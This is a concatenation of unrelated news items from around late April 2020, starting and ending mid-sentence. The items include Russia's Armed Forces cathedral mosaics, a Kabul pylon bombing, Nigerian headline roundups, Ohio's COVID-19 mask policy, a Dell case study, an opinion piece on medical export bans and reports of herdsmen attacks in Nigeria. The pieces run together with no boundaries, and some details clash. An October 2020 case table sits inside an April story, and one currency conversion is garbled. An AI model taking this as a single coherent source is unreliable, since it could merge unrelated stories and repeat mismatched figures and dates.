be adorned with mosaics depicting Vladimir Putin and Joseph Stalin. Standing at 95 metres tall, the Resurrection of Christ Cathedral will become the third largest Orthodox Christian church in the world when it opens at the military-themed Patriot Park outside Moscow on 9 May. The official opening will take place the same day Russia marks the 75th anniversary of the end of the Second World War. The interior of the church, which has six golden domes, has been decorated with traditional religious paintings. But there are also a number of bright mosaics depicting the Russian president and other officials, as well as the annexation of Crimea in 2014. Russia's Resurrection of Christ Cathedral under construction Show all 10 1 /10 Russia's Resurrection of Christ Cathedral under construction Russia's Resurrection of Christ Cathedral under construction A still image taken from video footage released by the Russian Defence Ministry shows the interior of Resurrection of Christ Cathedral, the main Russian Orthodox Cathedral of Russian Armed Forces, which is under construction in Patriot Park outside Moscow, Russia. The cathedral is being built for the 75th anniversary of the victory of the Second World War. EPA/Russian Defence Ministry Russia's Resurrection of Christ Cathedral under construction EPA/Russian Defence Ministry Russia's Resurrection of Christ Cathedral under construction EPA/Russian Defence Ministry Russia's Resurrection of Christ Cathedral under construction EPA/Russian Defence Ministry Russia's Resurrection of Christ Cathedral under construction EPA/Russian Defence Ministry Russia's Resurrection of Christ Cathedral under construction EPA/Russian Defence Ministry Russia's Resurrection of Christ Cathedral under construction EPA/Russian Defence Ministry Russia's Resurrection of Christ Cathedral under construction EPA/Russian Defence Ministry Russia's Resurrection of Christ Cathedral under construction EPA/Russian Defence Ministry Russia's Resurrection of Christ Cathedral under construction EPA/Russian Defence Ministry In one of the mosaics, first revealed by Russias MBKh News website, Mr Putin is seen alongside defence minister Sergei Shoigu, Federal Security Service director Alexander Bortnikov and other top officials. Another mosaic illustrating the victory parade of 1945 following the defeat of Nazi Germany shows soldiers lined up holding a banner with a picture of Soviet dictator Joseph Stalin. A separate part of the mosaic also shows a group of women with the words Crimea is Ours above them, in reference to Russia seizing the Crimean Peninsula from Ukraine. Stalin's rule saw the purging of thousands of Russians suspected of disloyalty in the late 1930s and many others were sent to slave labour camps. However the Russian Orthodox Church insisted the images are appropriate. Archpriest Leonid Kalinin, chair of the experts council for church art, architecture and restoration, told Russian news agency TASS: The Art Council considers these images to be absolutely appropriate, reflecting the historical truth, from which pages cannot be torn out arbitrarily. The archpriest reportedly admitted not everyone was happy with the decision to include the image of Stalin, but said they reluctantly went ahead because of the former Soviet leaders contribution to the victory over Nazi Germany. Kabul, April 28 : An explosion at a high voltage power pylon near Kabul has left the entire eastern part of Afghanistan, including the capital, without electricity, official sources said. The blackout on Monday comes at a time when the country is under a lockdown due to the COVID-19 crisis, with a crucial need for electricity in hospitals and greater demand in the people's homes. The pylon, supplying electricity to Kabul and at least seven other provinces from neighboring Uzbekistan and Tajikistan, was blown up overnight using explosives, state-owned electricity company DABS spokesperson Wahidullah Tawhidi tolf Efe news. Afghanistan, a country with a frail power infrastructure, imports around 70 per cent of its electricity from neighbouring countries, mainly Uzbekistan and Tajikistan. "While inflicting millions of dollars of losses on us, the destruction of the pylon and the power supply cut came at a critical time when our hospitals and households are badly in need of electricity amid the COVID-19 crisis," Tawhidi said. The spokesperson further said that at the moment, only 20 per cent of the people in Kabul had access to power, along with some hospitals and government institutions providing "urgent services". He added that teams have been dispatched to repair the damages and electricity supply was expected to resume in all the affected areas over the next four to five days. The authorities, who have attributed previous attacks on power infrastructures in northern Afghanistan to the Taliban, are currently investigating the incident. "The pylon has been destroyed using (an) improvised explosive device. The police are currently investigating to determine who were behind the attack," Kabul Police spokesperson Firdaws Faramarz said. This is the second time in a week that Kabul and eastern Afghanistan are facing a blackout, after the insurgents cut off a power transmission line in northern Baghlan province on April 23. The virus has so far infected 1,703 people in 33 of the 34 provinces in Afghanistan. Kabul, with 479 coronavirus infections, has so far recorded the highest number of positive cases, followed by the western city of Herat with 420. The first COVID-19 infection in the country was detected on February 24, and since then it has claimed the lives of 57 people. Latest updates on Coronavirus (COVID-19) Belagavi, April 28 : A local court granted bail to CRPF commando Sachin Savant, who was allegedly thrashed, arrested and chained by two Karnataka policemen last week for reportedly violating lockdown norms by not wearing a mask at his village in the state's northwest region, police said on Tuesday. "Savant (27) was released after the magistrate granted him bail from judicial custody where he was remanded since his arrest on April 23 for allegedly assaulting two beat constables when they asked him why he was not wearing mask while standing outside his home at Examba village near Sadalga town," a police official told IANS on phone. Sadalga in Chikkodi taluk of Belagavi district is 590 kms northwest of Bengaluru in the southern state. "Savant's COBRA unit officials, who were present in the court, took him to their training facility at Belagavi after he was released from the district jail," said the official. Savant, was at home on extended leave from the 207 Commando Battalion for Resolute Action (COBRA), one of the 10 elite units of the CRPF, formed for guerilla tactics and jungle warfare against Maoists. Though the incident occurred on April 23, it came to light on Monday when a video clip on it went viral in the social media and caught the attention of the Central Reserve Police Force (CRPFP headquarters in New Delhi. State Home Minister Basvaraj Bommai on Monday ordered an inquiry into the incident after CRPF Additional Director General of Police Sanjay Arora wrote to Karnataka Director General of Police Pravin Sood for investigating it and taking action against the constables. According to Belagavi Superintendent of Police Laxman Nimbargi, a scuffle broke out when Savant asked the constables who they were to question him, as he was also a jawan in the CRPF and was at home on leave. "When the constables informed Savant that the lockdown norms were same for all and he too had to follow, he lost his cool and assaulted the duo. He was arrested under the various IPC sections," Nimbargi recalled. Good Morning, Nigeria, Welcome To Naija News Roundup Of Top Newspaper Headlines In Nigeria For Today Tuesday, 28th April 2020 President Muhammadu Buhari has approved the conditional and phased relaxation of the lockdown imposed on Abuja, Lagos and Ogun States due to the coronavirus outbreak. This was contained in his speech during his nationwide broadcast on Monday, 27th April, 2020. President Muhammadu Buhari on Monday, ordered the total lockdown of Kano State for two weeks. The order was given during the Presidents nationwide broadcast to Nigerians where he gave updates on government efforts towards containing the coronavirus (COVID-19) infection in the country. Mohammed, one of the sons of the 2019 Presidential candidate of the People Democratic Party, Atiku Abubakar, has recovered from Coronavirus. Recall that Atikus son has since been at Abuja isolation centre since March 22nd after he tested positive to COVID-19. The National Leader of the All Progressives Congress (APC), Bola Tinubu and his wife, Oluremi, have both tested negative for the deadly coronavirus (COVID-19). Naija News recalls that Bola Tinubu alongside his personal aides had on Saturday carried out tests for the deadly coronavirus. The Multinational Joint Task Force has revealed a new plot by the troubled leader of Boko Haram, Abubakar Shekau to organize a massive recruitment into the terrorist sect/group from the North East. The past few weeks have seen the popular terrorist group lose a lot of their fighters. It appears they are interested in strengthening, according to credible information obtained by the Task Force. The Chairman of DAAR Communications Plc, Raymond Dokpesi Jnr, has tested positive for the deadly coronavirus (COVID-19). Dokpesi disclosed this in a short message to members of staff in Abuja on Monday. Despite the battle to contain the spread of coronavirus, the house of representatives has scheduled the resumption of its plenary for Tuesday. However, in a notice on Sunday, Patrick Giwa, clerk of the green chamber, asked members to take note of the resumption date. The lockdown in Lagos, Ogun, and the federal capital territory (FCT) has been extended by one week. President Muhammadu Buhari declared the extension on Monday in a nationwide broadcast. The Lagos State government has confirmed 43 new cases Coronavirus in the state. The state government noted that the new cases now bring the total tally to 746. The state government in a post on its verified Twitter account noted that 15 patients have been transferred out of the state. Speaker of the House of Representatives Nancy Pelosi announced Monday in a video message that she is supporting Joe Biden as the Democratic Partys presidential candidate for November 3. Today, I am proud to support Joe Biden in the race for the President of the United States because I believe he would make an extraordinary president, said Nancy Pelosi in a video message. Thats the top Nigerian newspaper headlines for today. Read more Nigerian news on Naija News. See you again tomorrow. Share this post with your Friends on By Ayya Lmhammad Azerbaijans State Oil Fund (SOFAZ) transferred over AZN 104,5 million ($61.5bn) to the countrys state budget in the period between April 2003 and April 2020, local media reported on April 28, with reference to the fund. The volume of transfers from SOFAZ to the state budget amounted to AZN 4,6 million in the first quarter of 2020. Set up in 1999 by the presidential decree, SOFAZ is a sovereign wealth fund, which accumulates and preserves the nation's oil and gas revenues for future generations. SOFAZ aims to ensure intergenerational equality with regard to the country's oil wealth and to accumulate and safeguard the oil revenues for generations to come. The Fund accumulates income from the sale of oil contracts, and in 2003, it started to make transfers to the state budget of Azerbaijan. As for now, SOFAZ contribution to the countrys GDP is over 80%. __ Follow us on Twitter @AzerNewsAz DANBURY A local company and a foundation have donated a combined $11,000 to provide 2,200 hot meals to families in need amidst the coronavirus pandemic. Money will go to The New American Dream Foundation, which has already distributed hundreds of meals to families. [April 28, 2020] Beko Donates Household Appliances to Global Healthcare Workers and Launches "Best Team in the World" Campaign ISTANBUL, April 28, 2020 /CNW/ -- Beko, Europe's leading domestic goods brand, has donated household appliances to global healthcare workers in over 20 countries in response to the COVID-19 pandemic. To date, over 500 hospitals in the UK, France, Germany, Spain, Romania, Poland, Kosovo, Serbia, Bosnia and Herzegovina, Slovenia, Ukraine, Czech Republic, The Philippines, Thailand, Nigeria, Ghana, Angola, Pakistan and Bangladesh have all received white goods and small household appliances. Beko will continue to support and recognise healthcare workers and address the need for hygiene, nutrition and refreshment resources for frontline workers. Hakan Bulgurlu, CEO of Beko, said: "These donations will support the global team of dedicated medical and service professionals as they work tirelessly on the frontlne to battle against this pandemic, which is one of the most significant threats we have had to confront in modern day society. We want to recognise their selfless commitment and pass on our heartfelt gratitude for everything that they do. These donations are just a small token of our appreciation." The donations coincide with the launch of Beko's global campaign, "Best Team in the World," that is brought to life in a video which pays homage to the people around the world who are risking their own lives every day to save others during the pandemic. You can watch the "Best Team in the World" campaign content here. Stay safe with Beko. #StayHome #LikeAPro About Beko Beko is the international home appliance brand of Arcelik and Main Partner of FC Barcelona. Continuing its activities since 1955 with the principle of being a partner that facilitates the daily lives of consumers, Beko is currently operating in more than 140 countries. Structuring its road map based on an understanding of offering perfect products and services to consumers, Beko puts consumers and innovation to the focus of all its operations. Under the vision of "Respecting the World, Respected Worldwide," Beko has adopted the mission of ensuring a healthy life for the new generations. This mission also constitutes the basis for all the works of Beko. Photo - https://mma.prnewswire.com/media/1160994/Beko_Best_Team_World_Campaign.jpg Logo - https://mma.prnewswire.com/media/998182/beko_logo_Logo.jpg View original content to download multimedia:http://www.prnewswire.com/news-releases/beko-donates-household-appliances-to-global-healthcare-workers-and-launches-best-team-in-the-world-campaign-301048447.html SOURCE Beko [ Back To TMCnet.com's Homepage ] An Australian clinical research company is set to trial a potential coronavirus vaccine and says it will be seeking volunteers in the next two months. Perth-based Linear Clinical Research will trial a 'ground-breaking' potential vaccine being developed to help the body produce antibodies to fight the coronavirus. China-based biotechnology company Clover Biopharmaceuticals has developed the potential vaccine, COVID-19 S-Trimer, a statement on Tuesday said. Experts from Perth company Linear Clinical Research (pictured) have requested for volunteers to take part in a coronavirus vaccine trial Researchers at the facility (pictured) will be trialling the vaccine called COVID-19 S-Trimer, which was developed in China Linear chief executive Jayden Rogers said the vaccine candidate showed great potential, and securing the trial was a major coup for Australia. 'This is one of the most prominent trials globally and involves some of the most renowned vaccines companies,' Mr Rogers said in the statement. He said Clover was one of the first companies to start developing a vaccine when it began work in January. COVID-19 S-Trimer is one of the first potential vaccines to make it to human trials, he said. Researchers are seeking healthy adults to take part in the first phase of testing. Pictured: nurses and a patient at the Linear Clinical Research facility in Perth CORONAVIRUS CASES IN AUSTRALIA: 27,244 Victoria: 20,269 New South Wales: 4,273 Queensland: 1,161 Western Australia: 692 South Australia: 473 Tasmania: 230 Australian Capital Territory: 113 Northern Territory: 33 TOTAL CASES: 27,244 ESTIMATED ACTIVE CASES: 269 DEATHS: 897 Updated: 5.31 PM, 11 October, 2020 Source: Australian Government Department of Health Advertisement Linear will be seeking healthy adults, including the elderly, to volunteer for the first phase of the trial within the next two months . If successful, the next phase of the trial would involve thousands of people around the world, before it's hoped a vaccine could be made widely available. 'We are fortunate to be one of the few countries in the world to still be offering functional clinical trial facilities because we do not have large volumes of COVID-19 cases as compared to other parts of the world,' Mr Rogers said. Australia continues to have a low rate of new coronavirus cases, with 6726 people diagnosed to date and 84 deaths. More than 2.97 million people have been reported to be infected by the coronavirus globally and more than 205,000 have died. COLUMBUS, Ohio - Coronavirus has infected 16,769, according to the Ohio Department of Health on Tuesday, and has killed 799 people. Of these cases, 641 are probable infections and 42 are probable deaths. All 88 Ohio counties now have cases, including Vinton County in Appalachia -- which hadnt reported any cases until now. Three people are infected there, Ohio Department of Health Dr. Amy Acton said. Gov. Mike DeWine, during his Tuesday briefing, said he was backing off the mandatory requirement of customers wearing masks when Ohio opens up. DeWine said that some people felt it was a violation of their rights, and he talked to a mother of a child who has autism who would struggle with such a requirement. Within the last 24 hours its really become clear to me that a mandatory mask requirement for people who are shopping, going into a retail business is offensive to some of our fellow Ohioans, he said. I understand that. Masks are now a recommendation, he said. As of Monday, 753 Ohioans were dead from COVID-19, the disease caused by the coronavirus, and 16,325 were infected. Over 3 million people have been infected with the virus, and 213,000 are dead from it, according to Johns Hopkins Universitys coronavirus tracker. In the U.S., infections hit the 1 million mark on Tuesday, with 57,000 dead. Masks are now a recommendation, not a mandate. While customers dont have to wear masks -- DeWine still advices that theyre a good idea -- businesses are required to come up with face-covering policies for their employees. Face coverings are still mandated for employees unless wearing a mask is not advisable by a health care professional, goes against industry best practices or is not permitted by federal or state laws and regulations. DeWine also said hes heard from grocery store workers and their loved ones who are concerned that customers are transmitting the virus, including those who are asymptomatic. DeWine said it was for those people that masks were originally a mandate. DeWines latest face coverings announcement was met with criticism on social media. I will not be shopping in stores that don't require masks. Period. I care about the safety of grocery store workers and also the immuno-compromised. If you can't cover your face, you don't need to be in a grocery store. JenNWCbus aka Verin's Owl (@JenNWCbus) April 28, 2020 DeWine said that employers can choose to require face coverings for everyone who walks through the door. Nevertheless, making masks a mere suggestion will put people at risk due to how many asymptomatic people there are. My biggest fear is that people wont hear the subtlety to what the governor is saying," Acton said. "We need to respect the virus, we need to respect the threat. Wearing the mask will be uncomfortable, but its not forever, she said. Acton also put in a plug for employees continuing to work from home if they currently are doing so. This is difficult time and I would just hate to see us going backwards, she said. Lag and data Acton said that the state will keep tabs on coronavirus outbreaks after the economy begins to reopen. The virus takes about two weeks to incubate before people start experiencing symptoms, she said. Usually another week frequently passes before the state starts receiving data from local health departments and testing labs, she said. So itll take about three weeks after the first reopening on Friday to determine whether more people are getting sick. Fridays opening will only allow more elective surgeries. On Monday, however, offices, factories and construction sites will be allowed to reopen, and itll take another three weeks from that time to determine whether thats causing a significant outbreak. We know as more people start coming together, even if theyre doing it in a very responsible way, that the spread does increase, DeWine said. And we want to keep that to a minimum. But you know were going to be watching these numbers. Graduation ceremonies may be allowed DeWine said that its possible that schools can hold in-person graduation ceremonies, if they can provide ample spacing between people, he said. If the school can figure out a way to safely hold graduation, it might be an ok thing to do, he said. Primary election Ohio Secretary of State Frank LaRose said Tuesday is the culmination of the primary election, which was extended since March 17 and conducted mostly by mail in an attempt to reduce infections and deaths during the pandemic. You have until 7:30 tonight to get that ballot submitted, he said. People need to give it to their county boards of elections, he said. Restaurant group, barber shops and salons group DeWine left out restaurants, barber shops and salons from the sectors of the economy that are going to be allowed to reopen in the first two weeks of May. On Tuesday, he announced that hes formed two groups for feedback from the sectors about how they can reopen in a safe manner. What about working parents? Although DeWine is allowing offices to reopen, hes not opening day care centers, which is going to effect parents. Schools also remain closed. He said that children, while they dont get as sick from coronavirus as adults, are prolific transmitters or it, which is why they need to stay at home. Its a work in progress, were not quite ready to get this done, he said. New definition The federal Centers for Disease Control and Prevention has added new symptoms to its definition of coronavirus, Acton said. Chills and shaking, not having a fever, muscle pain, headaches, sore throat and loss of taste and smell are new symptoms. Previously, the CDC said the symptoms were fever, cough and shortness of breath, she said. Message from Dr. Acton Acton told health care workers to pay attention to their mental health, on news that a New York City physician treating coronavirus patients had died by suicide. Acton said she completed her residency in the Bronx during the crack cocaine epidemic. Children were dying before age three. There were just rooms of babies with no parents, she said. She found she was losing weight, couldnt sleep and was having panic attacks. I think seeing other people suffer and die, that I felt like I couldnt help them, that helpless feeling caused that for me, and I sought help, she said. There shouldnt be any shame in realizing the work takes its toll, she said. Please seek help if youre struggling at all, she said. Other coronavirus coverage: Gov. Mike DeWine gives Tuesdays coronavirus update: Watch live Heres how Gov. Mike DeWine plans to reopen Ohio amid the coronavirus pandemic Ohio coronavirus death toll is 753 -- with 16,325 infected: Monday update The restaurant of the future: The coronavirus means well be dining out in a whole new way Dell Technologies is aiding Bikanervala, one of Indias leading food conglomerate in their IT transformation journey with VxRail, the flagship HCI engineered system offered by Dell Technologies in its hyperconverged infrastructure (HCI) systems portfolio[1]. Bikanervala today has over 55 mega outlets in India, UAE, New-Zealand, and Nepal. Their quality products and the innovative blending of heritage and traditional expertise with modern technology is making inroads into the global market. The dated IT systems at Bikanervala werent able to keep up with the pace of its business growth. Workloads at Bikanervala were segregated on servers and there was minimal or no consolidation. The company needed efficient resource utilization while addressing a lack of high availability and redundancy in business-critical applications. The advent of food delivery aggregators meant that business was growing faster than before and needed their backend systems to process orders through mobile apps to be foolproof and available at all times to ensure customer satisfaction and maintain brand loyalty. There was a need for virtualization to help the company scale rapidly and reduce costs. VxRail was the apt solution- as a turnkey fully integrated, pre-configured, and pre-tested hyperconverged system optimized for VMware vSAN HCI software. VxRail HCI System Software, providing integration with familiar VMware tools including vCenter, delivers an automated operational experience and lifecycle management of the fully integrated hardware and software stack keeping clusters in continuously validated states to enable workloads to be consistently up and running. Bikanervala engaged with Arrow PC Network as the implementation partner, providing the latest from VMware and Dell Technologies to resolve the existing challenges. The VxRail support experience was also a crucial element in the project, VxRail provides a single point of support for hardware and software and offers, SRS a dial home two-way secure remote connection and global support chat and web-based service options. Dell EMC VxRail is suitable for the highest performance workloads including SAP HANA for which the solution is certified in both 2 and 4 socket configurations. VxRail can integrate with public and private clouds a big advantage for companies eyeing global expansion. Customer Benefits: Fast and Effective Results: VxRail has demonstrated quick and effective results to deliver enhanced customer satisfaction. Bikanervalas centralised management system can now easily integrate information from varied business units across the globe and run their business operations with more efficiency and scalability. Utilization of Resources: With management and utilization of resources optimized, this HCI solution has helped in reducing time in managing business critical applications, empowering Bikanervala to increase focus on innovation. Future Ready: Bikanervala, with implementation of VxRail, can now absorb new business demands in terms of IT scalability and cloud models. In todays ever-changing IT landscape, organisations that are striving to modernize their infrastructure to compete in todays digital age, are actively adopting HCI solutions, said Mr. Surajit Sen, Director, Modern Data Centre, APJ, Dell Technologies. Our VxRail solution is helping Bikanervala run their operations flawlessly 24X7, while integrating all their data and applications across IT systems globally. Furthermore, VxRail has helped Bikanervala become cloud-ready and is helping them scale new business heights. Manoj Arya, AGM-IT, Bikanervala, said, Bikanervala is growing: new offering, new outlets, optimized demand and supply chain etc. To support this transition, a flexible, scalable, high-performance, yet easy to manage IT backbone was required. Thanks to Dell Technologies and Arrow PC, weve been able to remove complexities in the infrastructure making it scalable and reliable leveraging the power of Dell EMC VxRail. Now we are ready for the future. Gurpreet Singh, managing director, Arrow PC Network, said, Dell EMC VxRail has no single point of failure, which is important in todays cloud connected world and for digital savvy users. We see many more customers adopting the technology in days to come. The Federal Authority for Nuclear Regulation (FANR) is dedicated to optimising the skills, processes and resources needed to excel and realise its vision of being globally recognised as a leading nuclear regulator. Capacity building for Emiratis in the nuclear sector has been a FANR priority from the outset. FANR has 244 staff of whom 67 per cent are Emiratis. Almost 45 per cent of Emiratis hold leadership roles in the technical departments in FANRs Operations Division, and women constitute over 40 per cent of the organisation, according to FANR annual report 2019 released today (April 28). FANR said its capacity-building efforts include steadfast support of the governments Emiratisation initiative. The main goal of FANRs education and training activities is to ensure Emiratis are trained and developed to acquire the required knowledge, skills and attitudes to contribute effectively to ther Authority's core functions. Long-term career opportunities for Emirati employees at FANR are encouraged through focused recruitment, training and development programmes. FANR continues to attract talented Emiratis to meet its business requirements and five additional Emirati were recruited in 2019. In 2019 FANR recorded 83 inspectors who are qualified to carry out inspections at nuclear and industrial facilities in the UAE of whom 49 are Emirati, the report added. Women play a fundamental role in carrying out FANRs mandate of regulating the UAEs nuclear sector and ensuring the protection of the public, workers and the environment. Women make up over 40 percent of FANRs overall workforce. They hold leadership positions and play key roles at FANR in nuclear safety, nuclear security, safeguards, radiation safety, and education and training. FANR deployed its first two female resident inspectors to the Barakah Nuclear Power Plant. These resident inspectors will stay at the site for a 2-year term to conduct regulatory oversight over construction, commissioning, operational readiness and overall operations. In order to develop its qualification portfolio, FANR awards scholarships to Emirati employees to complete tertiary education at leading institutions, such as Zayed University, Manchester University, the Korea Institute of Nuclear Safety and the Korea Advanced Institute of Science and Technology.-TradeArabia News Service Woman charged with killing man, running over him with a Cadillac KANSAS CITY, Mo. - A woman is charged with killing a man Saturday night after beating him with a shovel and running over him with a Cadillac. Sasha Waloke, 32, is charged in Jackson County Court with second-degree murder, first-degree assault and two counts of armed criminal action. A peek at the suspect and one more look at theallegations that include running over the victim at least 21 times. Take a look: Good Morning, welcome to Information Nigerias Newspaper headlines for today, 28th April 2020. Here are the major headlines. Buhari Orders Total Lockdown Of Kano State For Two Weeks President Muhammadu Buhari has ordered a total lockdown of Kano State for two weeks. This followed a number of mysterious deaths in the past two weeks in the ancient city. Ekiti Denies Returning Rice palliative To FG Ekiti state government has debunked the reports making the rounds that rice donated to the state by the federal government has been returned for being unfit for consumptions. Buharis Ful Speech On COVID-19 Lockdown Click the link above to read the Presidents speech on 27th April 2020. Rice Not Suitable For Consumption, Will Not Be Shared Akeredolu Ondo state governor, Rotimi Akeredolu has debunked the news that the state rejected the rice donated by the federal government as palliatives. Buhari Is A Shy Person Amaechi The minister for transportation, Rotimi Amaechi has revealed that President Muhammadu Buhari is a very shy person who does not like public display. I Relaxed Lockdown To Reduce Unrest In Anambra State Gov Obaino Anambra State Governor, Willie Obiano has revealed the reason for his decision to relax the lockdown order imposed on residents of the State. Customs Says Rice Sent To Oyo State Good For Consumption The Nigerian customs service has disagreed with the Oyo state government that the rice it released to the state was unfit for human consumption. Diversion Of Abuja Palliatives Not Possible Minister of State in the Federal Capital Territory FCT, Dr Ramatu Tijjani Aliyu, says palliatives for residents cannot be diverted by anyone but would get to residents. Kano Deaths: PDP Demands Investigation The Peoples Democratic Party PDP has demanded an immediate investigation into the disturbing mass death in Kano state. Publish Full Report Of Probe Into Kano Deaths Falana Popular human rights lawyer, Femi Falana has asked Osagie Ehanire, minister of health, to publish the full report of the investigation into the recent deaths in Kano. Share this article Whatsapp Facebook Twitter Linkedin Michelle Limenta (The Jakarta Post) Jakarta Tue, April 28, 2020 14:20 624 fc6853813033f564188675f8bd4af934 3 Opinion #COVID19,#coronavirus,COVID-19,coronavirus,WTO,trade-talks,export-import,Trade,medical-supplies,medical-equipment Free Today, many of us are experiencing difficulties in finding face masks and hand sanitizer in local stores. The demand for medical/hygiene products has increased significantly around the globe in the first quarter of 2020 due to the outbreak of COVID-19, and production struggles to meet this skyrocketed demand. Panic buying and hoarding behavior exacerbate the scarcity of these products in a time of health crisis. A similar dynamic is also occurring at the international level as export prohibitions have proliferated. Countries are increasingly imposing export bans on medical equipment/products as a means to shore up their domestic supplies during the coronavirus pandemic. The World Trade Organization (WTO) Secretariat recently published a non-exhaustive list of trade-related measures taken by WTO Members in response to the COVID-19 outbreak. Interestingly, the list shows two common types of trade policies taken by countries to tackle the crisis: (1) export prohibition/restriction, and (2) temporary import requirement waiver/suspension. The Indonesian government appears to be following the trend. In March 2020, the Trade Ministry issued Regulation No. 23/2020 followed by its amendment under MOT No. 31/2020, which temporarily bans the export of face masks, its raw materials, antiseptic and protective gear such as surgery clothing to ensure adequate domestic supplies. At the same time, the ministry issued Regulation No. 28/2020, which temporarily waives import requirements on certain medical/hygiene products such as antiseptic soap, masks and thermometers. In a normal situation, imports of these products are restricted and importers have to comply with a number of import requirements such as import licensing, selective ports of entry and pre-shipment inspection. The coronavirus crisis appears to have inverted the popular trade policy based on the mercantilist view that exports are good while imports are bad. However, the notion of export protectionism in response to todays global crisis is still a bad idea. Many commentators have expressed their concern that export restrictions of medical equipment will eventually harm all countries, in particular vulnerable ones. For instance, Chad Peterson Bown of the Institute for International Economics criticizes the European Unions export restrictions on medical gear, highlighting the unintended costs of such policy measures for other countries, especially fragile ones with limited domestic production capacity. Export restriction measures will also affect the access/supply of the medical components. It is reported that a Switzerland-based market leader in the manufacture of ventilators is struggling with its production, and one of the main bottlenecks is the supply of components. Romania has classified a needed ventilator component as a medical device, thus preventing its export to Switzerland. World Bank economists Aaditya Mattoo and Michele Ruta in their opinion published in the Financial Times, also warn about the peril of export restrictions to the availability and affordability of medical equipment. They took the global ventilator market as an example, and found that seven countries accounted for 70 percent of total exports. Thus, if one producer imposes an export restriction, the global price of ventilators would increase by up to 10 percent, and the percentage would increase if others decided to follow the move. Several commentators have proposed easier access to medical supplies. Costa Ricas former trade minister, Anabel Gonzalez, for example, recommends certain policy actions such as lowering tariffs on pharmaceuticals, medical devices and other medical supplies; improving trade facilitation to fast-track the moving of health-related products and materials; adopting international standards to ensure the quality and safety of medical products; and allowing medical professionals to move across borders. Medical supplies are still facing tariff and non-tariff measures in many WTO member countries, as shown in a report by the Global Trade Alert team. Seventy-nine WTO Members have imposed import duties of 15 percent or more, and 31 governments are charging import tariffs of 30 percent or more on imports of soap. In Indonesia, importers of body soap and soaps containing disinfectant are subject to income tax levied for conducting import activities pursuant to Finance Ministerial Regulation No. 110/PMK.010/2018. Overall, a global trade cooperation is a crucial and needed solution to fight COVID-19. Sharing information and facilitating the flow/movement of medical products and professionals can be one of many forms of global cooperation in sharing global resources to combat this pandemic. More trade protectionism will do more harm than good. *** Law lecturer at Universitas Pelita Harapan (UPH) and director of the UPH Center for International Trade and Investment. The views expressed are her own. Disclaimer: The opinions expressed in this article are those of the author and do not reflect the official stance of The Jakarta Post. JOS, Nigeria (Morning Star News) Muslim Fulani herdsmen on Wednesday and Thursday (April 22-23) killed two people, kidnapped another and burned down a church building that included the pastors home in attacks on predominantly Christian areas in north-central Nigeria, sources said. Two people were also wounded in the attacks in southern Kaduna state that burned 25 houses, said Luka Binniyat, spokesman for the Southern Kaduna Peoples Union (SOKAPU), an umbrella body uniting predominantly Christian ethnic groups in the region. This and many other savageries on our communities in recent times affirm the fear that, for our vulnerable communities, the danger posed to our existence and well-being by the coronavirus pandemic is less grim than the perennial murderous acts of armed herdsmen, Binniyat said in a press statement. Fulani herdsmen attacks on Wednesday (April 22) in Atang village, near Gidan Waya in Godogodo chiefdom of Jemaa County, began with gunshots at about 10 p.m., he said. After the pandemonium, it was discovered that the invaders had kidnapped Mr. Emmanuel Iliya Atang, son of the chief of Godogodo chiefdom, Binniyat said. Emmanuel, 47, is married with two children. The abductors have asked for 30 million naira (US$76,565) in ransom, he said. On Thursday (April 23), armed herdsmen attacked Kujeni village in Kajuru County, killing Geoffrey Zakka, 25, he said. One woman and a child were injured, and more than 25 houses burnt down, Binniyat said. The ECWA [Evangelical Church Winning All] church in the town and its pastorium were also razed down completely. On the same day in Kajuru Countys Makyali village, herdsmen killed 42-year-old Thomas Micah on his farm, he said. Micah is survived by his wife and seven children. Prior herdsmen attacks occurred on April 19 in Awake village, Kachia County, where Fulani terrorists killed Lami Adamu and her child and injured one other person, he said. On the night of April 16 in Ungwan Maigero, Kachia County, Fulani herdsmen killed two people, he said. Another unidentified person and a Nigerian army soldier were killed on Friday (April 24) in predominantly Christian Akwunakwo village, near Gwagwada in Chikun County, he said. In Mararanban Afogo village, herdsmen on March 22 opened fire on ethnic Adara hunters and killed Michael Yahaya, he added. The Fulanis attacked Bakira-Maro village on March 25 at 11 p.m., killing 12-year-old Beniah Daniel, 43-year-old father of three Ishaku Apiletuwe and Rita Atiteh, 33. Severely wounded were Helen Jonathan, 22, and Ashuli Jacob, Binniyat said. Four persons from Tantatu village near Kajuru town, who were on a fishing expedition at a remote river, were attacked by armed Fulani and are still missing, he said. In addition, herdsmen have kidnapped five people from Farin Gada village, Chikun County, most recently a woman, her three children and a neighbor, he said. Attacks in Benue State In Benue state, Muslim Fulani herdsmen attacks last week left one Christian dead, three kidnapped and eight others injured, sources said. In Guma County, herdsmen attacked Tse Vanbe village the afternoon of April 20, area resident Stephen Aandoka said. A Christian farmer, Titus Nyitar, was shot to death, and his head was cut off, Aandoka told Morning Star News by text message. The farmer was working on his farm when he was killed by the herdsmen. They proceeded to the village to burn down houses and kidnapped three villagers, he said. Villagers who survived the attacks are now taking refuge in the town of Daudu, Aandoka said. Jonah Tyoyuha, another resident of the area, said herdsmen also attacked Chongu Gugor, Tse Gishe and Mande Gem villages in Guma County on April 20. The Fulani cattlemen attacked Chongu Gugor village around 2:30 p.m. on Monday, destroying houses and shooting villagers, Tyoyuha said. At Tse Gishe village, the Fulani herdsmen shot at villagers and injured many of them, destroying their houses too. Eight villagers were wounded in shootings at Mande Gem village, he said. A woman and her baby were kidnapped there, but they were later rescued by security personnel, Tyoyuha said. Those injured in the attacks are now being treated at two hospitals in Daudu and Gbajimba towns. Paul Hemba, special adviser to the Benue government on security matters, confirmed the attacks. It is true that attacks were carried out by Fulani herdsmen on some communities in Benue state, he told Morning Star News. We are making efforts to assist those that have been displaced from these communities. On Jan. 30 Christian Solidarity International (CSI) issued a genocide warning for Nigeria, calling on the Permanent Member of the United Nations Security Council to take action. CSI issued the call in response to a rising tide of violence directed against Nigerian Christians and others classified as infidels by Islamist militants in the countrys north and middle belt regions. Nigeria ranked 12th on Open Doors 2020 World Watch List of countries where Christians suffer the most persecution but second in the number of Christians killed for their faith, behind Pakistan. If you would like to help persecuted Christians, visit http://morningstarnews.org/resources/aid-agencies/ for a list of organizations that can orient you on how to get involved. If you or your organization would like to help enable Morning Star News to continue raising awareness of persecuted Christians worldwide with original-content reporting, please consider collaborating at https://morningstarnews.org/donate/? Article originally published by Religion News Service. Used with permission. Photo courtesy: Getty Images/Pontuse Five of the eight northeast states - Sikkim, Nagaland, Arunachal Pradesh, Manipur and Tripura - have been declared coronavirus-free by the central government. Don't Miss: Contribute To Indiatimes Fundraiser To Help India Fight COVID-19 Assam, Meghalaya and Mizoram had 8, 11 and 1 Covid-19 cases respectively, and were waiting for them to test negative, 